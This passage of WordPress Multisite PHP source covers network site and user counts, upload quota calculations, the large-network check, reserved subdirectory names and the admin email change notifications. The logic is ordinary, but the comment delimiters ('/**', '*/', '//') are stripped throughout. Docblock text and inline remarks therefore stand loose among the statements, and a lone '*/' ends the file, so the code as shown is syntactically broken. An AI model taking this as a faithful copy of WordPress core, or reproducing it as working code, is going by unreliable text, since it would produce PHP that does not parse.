	if ( ! wp_next_scheduled('update_network_counts') && ! wp_installing() )
		wp_schedule_event(time(), 'twicedaily', 'update_network_counts');
}

*
 * Update the network-wide counts for the current network.
 *
 * @since 3.1.0
 * @since 4.8.0 The $network_id parameter has been added.
 *
 * @param int|null $network_id ID of the network. Default is the current network.
 
function wp_update_network_counts( $network_id = null ) {
	wp_update_network_user_counts( $network_id );
	wp_update_network_site_counts( $network_id );
}

*
 * Update the count of sites for the current network.
 *
 * If enabled through the {@see 'enable_live_network_counts'} filter, update the sites count
 * on a network when a site is created or its status is updated.
 *
 * @since 3.7.0
 * @since 4.8.0 The $network_id parameter has been added.
 *
 * @param int|null $network_id ID of the network. Default is the current network.
 
function wp_maybe_update_network_site_counts( $network_id = null ) {
	$is_small_network = ! wp_is_large_network( 'sites', $network_id );

	*
	 * Filters whether to update network site or user counts when a new site is created.
	 *
	 * @since 3.7.0
	 *
	 * @see wp_is_large_network()
	 *
	 * @param bool   $small_network Whether the network is considered small.
	 * @param string $context       Context. Either 'users' or 'sites'.
	 
	if ( ! apply_filters( 'enable_live_network_counts', $is_small_network, 'sites' ) )
		return;

	wp_update_network_site_counts( $network_id );
}

*
 * Update the network-wide users count.
 *
 * If enabled through the {@see 'enable_live_network_counts'} filter, update the users count
 * on a network when a user is created or its status is updated.
 *
 * @since 3.7.0
 * @since 4.8.0 The $network_id parameter has been added.
 *
 * @param int|null $network_id ID of the network. Default is the current network.
 
function wp_maybe_update_network_user_counts( $network_id = null ) {
	$is_small_network = ! wp_is_large_network( 'users', $network_id );

	* This filter is documented in wp-includes/ms-functions.php 
	if ( ! apply_filters( 'enable_live_network_counts', $is_small_network, 'users' ) )
		return;

	wp_update_network_user_counts( $network_id );
}

*
 * Update the network-wide site count.
 *
 * @since 3.7.0
 * @since 4.8.0 The $network_id parameter has been added.
 *
 * @param int|null $network_id ID of the network. Default is the current network.
 
function wp_update_network_site_counts( $network_id = null ) {
	$network_id = (int) $network_id;
	if ( ! $network_id ) {
		$network_id = get_current_network_id();
	}

	$count = get_sites( array(
		'network_id' => $network_id,
		'spam'       => 0,
		'deleted'    => 0,
		'archived'   => 0,
		'count'      => true,
	) );

	update_network_option( $network_id, 'blog_count', $count );
}

*
 * Update the network-wide user count.
 *
 * @since 3.7.0
 * @since 4.8.0 The $network_id parameter has been added.
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param int|null $network_id ID of the network. Default is the current network.
 
function wp_update_network_user_counts( $network_id = null ) {
	global $wpdb;

	$count = $wpdb->get_var( "SELECT COUNT(ID) as c FROM $wpdb->users WHERE spam = '0' AND deleted = '0'" );
	update_network_option( $network_id, 'user_count', $count );
}

*
 * Returns the space used by the current blog.
 *
 * @since 3.5.0
 *
 * @return int Used space in megabytes
 
function get_space_used() {
	*
	 * Filters the amount of storage space used by the current site.
	 *
	 * @since 3.5.0
	 *
	 * @param int|bool $space_used The amount of used space, in megabytes. Default false.
	 
	$space_used = apply_filters( 'pre_get_space_used', false );
	if ( false === $space_used ) {
		$upload_dir = wp_upload_dir();
		$space_used = get_dirsize( $upload_dir['basedir'] ) / MB_IN_BYTES;
	}

	return $space_used;
}

*
 * Returns the upload quota for the current blog.
 *
 * @since MU (3.0.0)
 *
 * @return int Quota in megabytes
 
function get_space_allowed() {
	$space_allowed = get_option( 'blog_upload_space' );

	if ( ! is_numeric( $space_allowed ) )
		$space_allowed = get_site_option( 'blog_upload_space' );

	if ( ! is_numeric( $space_allowed ) )
		$space_allowed = 100;

	*
	 * Filters the upload quota for the current site.
	 *
	 * @since 3.7.0
	 *
	 * @param int $space_allowed Upload quota in megabytes for the current blog.
	 
	return apply_filters( 'get_space_allowed', $space_allowed );
}

*
 * Determines if there is any upload space left in the current blog's quota.
 *
 * @since 3.0.0
 *
 * @return int of upload space available in bytes
 
function get_upload_space_available() {
	$allowed = get_space_allowed();
	if ( $allowed < 0 ) {
		$allowed = 0;
	}
	$space_allowed = $allowed * MB_IN_BYTES;
	if ( get_site_option( 'upload_space_check_disabled' ) )
		return $space_allowed;

	$space_used = get_space_used() * MB_IN_BYTES;

	if ( ( $space_allowed - $space_used ) <= 0 )
		return 0;

	return $space_allowed - $space_used;
}

*
 * Determines if there is any upload space left in the current blog's quota.
 *
 * @since 3.0.0
 * @return bool True if space is available, false otherwise.
 
function is_upload_space_available() {
	if ( get_site_option( 'upload_space_check_disabled' ) )
		return true;

	return (bool) get_upload_space_available();
}

*
 * Filters the maximum upload file size allowed, in bytes.
 *
 * @since 3.0.0
 *
 * @param  int $size Upload size limit in bytes.
 * @return int       Upload size limit in bytes.
 
function upload_size_limit_filter( $size ) {
	$fileupload_maxk = KB_IN_BYTES * get_site_option( 'fileupload_maxk', 1500 );
	if ( get_site_option( 'upload_space_check_disabled' ) )
		return min( $size, $fileupload_maxk );

	return min( $size, $fileupload_maxk, get_upload_space_available() );
}

*
 * Whether or not we have a large network.
 *
 * The default criteria for a large network is either more than 10,000 users or more than 10,000 sites.
 * Plugins can alter this criteria using the {@see 'wp_is_large_network'} filter.
 *
 * @since 3.3.0
 * @since 4.8.0 The $network_id parameter has been added.
 *
 * @param string   $using      'sites or 'users'. Default is 'sites'.
 * @param int|null $network_id ID of the network. Default is the current network.
 * @return bool True if the network meets the criteria for large. False otherwise.
 
function wp_is_large_network( $using = 'sites', $network_id = null ) {
	$network_id = (int) $network_id;
	if ( ! $network_id ) {
		$network_id = get_current_network_id();
	}

	if ( 'users' == $using ) {
		$count = get_user_count( $network_id );
		*
		 * Filters whether the network is considered large.
		 *
		 * @since 3.3.0
		 * @since 4.8.0 The $network_id parameter has been added.
		 *
		 * @param bool   $is_large_network Whether the network has more than 10000 users or sites.
		 * @param string $component        The component to count. Accepts 'users', or 'sites'.
		 * @param int    $count            The count of items for the component.
		 * @param int    $network_id       The ID of the network being checked.
		 
		return apply_filters( 'wp_is_large_network', $count > 10000, 'users', $count, $network_id );
	}

	$count = get_blog_count( $network_id );
	* This filter is documented in wp-includes/ms-functions.php 
	return apply_filters( 'wp_is_large_network', $count > 10000, 'sites', $count, $network_id );
}

*
 * Retrieves a list of reserved site on a sub-directory Multisite installation.
 *
 * @since 4.4.0
 *
 * @return array $names Array of reserved subdirectory names.
 
function get_subdirectory_reserved_names() {
	$names = array(
		'page', 'comments', 'blog', 'files', 'feed', 'wp-admin',
		'wp-content', 'wp-includes', 'wp-json', 'embed'
	);

	*
	 * Filters reserved site names on a sub-directory Multisite installation.
	 *
	 * @since 3.0.0
	 * @since 4.4.0 'wp-admin', 'wp-content', 'wp-includes', 'wp-json', and 'embed' were added
	 *              to the reserved names list.
	 *
	 * @param array $subdirectory_reserved_names Array of reserved names.
	 
	return apply_filters( 'subdirectory_reserved_names', $names );
}

*
 * Send a confirmation request email when a change of network admin email address is attempted.
 *
 * The new network admin address will not become active until confirmed.
 *
 * @since 4.9.0
 *
 * @param string $old_value The old network admin email address.
 * @param string $value     The proposed new network admin email address.
 
function update_network_option_new_admin_email( $old_value, $value ) {
	if ( $value == get_site_option( 'admin_email' ) || ! is_email( $value ) ) {
		return;
	}

	$hash = md5( $value . time() . mt_rand() );
	$new_admin_email = array(
		'hash'     => $hash,
		'newemail' => $value,
	);
	update_site_option( 'network_admin_hash', $new_admin_email );

	$switched_locale = switch_to_locale( get_user_locale() );

	 translators: Do not translate USERNAME, ADMIN_URL, EMAIL, SITENAME, SITEURL: those are placeholders. 
	$email_text = __( 'Howdy ###USERNAME###,

You recently requested to have the network admin email address on
your network changed.

If this is correct, please click on the following link to change it:
###ADMIN_URL###

You can safely ignore and delete this email if you do not want to
take this action.

This email has been sent to ###EMAIL###

Regards,
All at ###SITENAME###
###SITEURL###' );

	*
	 * Filters the text of the email sent when a change of network admin email address is attempted.
	 *
	 * The following strings have a special meaning and will get replaced dynamically:
	 * ###USERNAME###  The current user's username.
	 * ###ADMIN_URL### The link to click on to confirm the email change.
	 * ###EMAIL###     The proposed new network admin email address.
	 * ###SITENAME###  The name of the network.
	 * ###SITEURL###   The URL to the network.
	 *
	 * @since 4.9.0
	 *
	 * @param string $email_text      Text in the email.
	 * @param array  $new_admin_email {
	 *     Data relating to the new network admin email address.
	 *
	 *     @type string $hash     The secure hash used in the confirmation link URL.
	 *     @type string $newemail The proposed new network admin email address.
	 * }
	 
	$content = apply_filters( 'new_network_admin_email_content', $email_text, $new_admin_email );

	$current_user = wp_get_current_user();
	$content = str_replace( '###USERNAME###', $current_user->user_login, $content );
	$content = str_replace( '###ADMIN_URL###', esc_url( network_admin_url( 'settings.php?network_admin_hash=' . $hash ) ), $content );
	$content = str_replace( '###EMAIL###', $value, $content );
	$content = str_replace( '###SITENAME###', wp_specialchars_decode( get_site_option( 'site_name' ), ENT_QUOTES ), $content );
	$content = str_replace( '###SITEURL###', network_home_url(), $content );

	wp_mail( $value, sprintf( __( '[%s] New Network Admin Email Address' ), wp_specialchars_decode( get_site_option( 'site_name' ), ENT_QUOTES ) ), $content );

	if ( $switched_locale ) {
		restore_previous_locale();
	}
}

*
 * Send an email to the old network admin email address when the network admin email address changes.
 *
 * @since 4.9.0
 *
 * @param string $option_name The relevant database option name.
 * @param string $new_email   The new network admin email address.
 * @param string $old_email   The old network admin email address.
 * @param int    $network_id  ID of the network.
 
function wp_network_admin_email_change_notification( $option_name, $new_email, $old_email, $network_id ) {
	$send = true;

	 Don't send the notification to the default 'admin_email' value.
	if ( 'you@example.com' === $old_email ) {
		$send = false;
	}

	*
	 * Filters whether to send the network admin email change notification email.
	 *
	 * @since 4.9.0
	 *
	 * @param bool   $send       Whether to send the email notification.
	 * @param string $old_email  The old network admin email address.
	 * @param string $new_email  The new network admin email address.
	 * @param int    $network_id ID of the network.
	 
	$send = apply_filters( 'send_network_admin_email_change_email', $send, $old_email, $new_email, $network_id );

	if ( ! $send ) {
		return;
	}

	 translators: Do not translate OLD_EMAIL, NEW_EMAIL, SITENAME, SITEURL: those are placeholders. 
	$email_change_text = __( 'Hi,

This notice confirms that the network admin email address was changed on ###SITENAME###.

The new network admin email address is ###NEW_EMAIL###.

This email has been sent to ###OLD_EMAIL###

Regards,
All at ###SITENAME###
###SITEURL###' );

	$email_change_email = array(
		'to'      => $old_email,
		 translators: Network admin email change notification email subject. %s: Network title 
		'subject' => __( '[%s] Notice of Network Admin Email Change' ),
		'message' => $email_change_text,
		'headers' => '',
	);
	 get network name
	$network_name = wp_specialchars_decode( get_site_option( 'site_name' ), ENT_QUOTES );

	*
	 * Filters the contents of the email notification sent when the network admin email address is changed.
	 *
	 * @since 4.9.0
	 *
	 * @param array $email_change_email {
	 *            Used to build wp_mail().
	 *
	 *            @type string $to      The intended recipient.
	 *            @type string $subject The subject of the email.
	 *            @type string $message The content of the email.
	 *                The following strings have a special meaning and will get replaced dynamically:
	 *                - ###OLD_EMAIL### The old network admin email address.
	 *                - ###NEW_EMAIL### The new network admin email address.
	 *                - ###SITENAME###  The name of the network.
	 *                - ###SITEURL###   The URL to the site.
	 *            @type string $headers Headers.
	 *        }
	 * @param string $old_email  The old network admin email address.
	 * @param string $new_email  The new network admin email address.
	 * @param int    $network_id ID of the network.
	 
	$email_change_email = apply_filters( 'network_admin_email_change_email', $email_change_email, $old_email, $new_email, $network_id );

	$email_change_email['message'] = str_replace( '###OLD_EMAIL###', $old_email,    $email_change_email['message'] );
	$email_change_email['message'] = str_replace( '###NEW_EMAIL###', $new_email,    $email_change_email['message'] );
	$email_change_email['message'] = str_replace( '###SITENAME###',  $network_name, $email_change_email['message'] );
	$email_change_email['message'] = str_replace( '###SITEURL###',   home_url(),    $email_change_email['message'] );

	wp_mail( $email_change_email['to'], sprintf(
		$email_change_email['subject'],
		$network_name
	), $email_change_email['message'], $email_change_email['headers'] );
}
*/